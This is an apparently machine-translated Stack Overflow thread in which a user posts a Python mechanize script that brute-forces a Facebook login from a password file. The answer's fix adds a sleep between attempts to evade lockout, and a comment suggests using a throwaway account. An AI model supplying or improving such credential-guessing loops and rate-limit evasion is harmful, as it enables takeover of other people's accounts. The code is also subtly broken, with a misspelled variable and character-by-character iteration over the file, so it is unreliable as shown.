2017-08-01 38 views
-1

我試圖讓腳本獲取密碼(我已經知道我的帳戶密碼)幾個小時後,我被鎖定在我的Facebook帳戶之外。我的python腳本有問題嗎,還是我嘗試使用它的方式錯了?試圖讓Facebook帳戶密碼太頻繁鎖定我

腳本:

passwordsfile = open('file.txt','r') 
for pwd in psswordsfile.read(): 
    br = mechanize.Browser() 
    br.set_handle_robots(False) 
    br.addheader = ['User-Agent','Firefox'] 
    br.open('https://www.facebook.com') 
    br.select_form(nr=0) 
    br.form['email'] = "[email protected]" 
    br.form['pass'] = pwd 
    sub = br.submit() 
    print sub.geturl() 
+0

謝謝先生,但我有多少時間放在兩個tryes之間 – alan

回答

0

這個錯誤很簡單。 「頻繁嘗試」意味着您在X時間內發送太多請求。迭代之間您應該sleep

from time import sleep 

passwordsfile = open('file.txt','r') 
for pwd in psswordsfile.read(): 
    br = mechanize.Browser() 
    br.set_handle_robots(False) 
    br.addheader = ['User-Agent','Firefox'] 
    br.open('https://www.facebook.com') 
    br.select_form(nr=0) 
    br.form['email'] = "[email protected]" 
    br.form['pass'] = pwd 
    sub = br.submit() 
    print sub.geturl() 
    sleep(5) # 5 seconds 

根據您有多少次迭代,5秒可能不夠。這是一個試驗和錯誤的問題。

+0

使用「扔掉」賬戶也許是明智的做法。我懷疑Facebook喜歡人們對他們的網站編寫腳本(反正沒有API,我懷疑他們提供了這些API),如果他們發現這一點,可能會禁止該帳戶。如果[Alan](https://stackoverflow.com/users/8202639/alan)對該帳戶有任何價值,它可能會丟失。 –

+0

謝謝,但睡眠5秒對我沒有效果,並且我的帳戶已關閉 – alan

+2

@alan讓我引用自己:「根據迭代次數,5秒可能不夠,這是一個試驗的問題。錯誤。」 – DeepSpace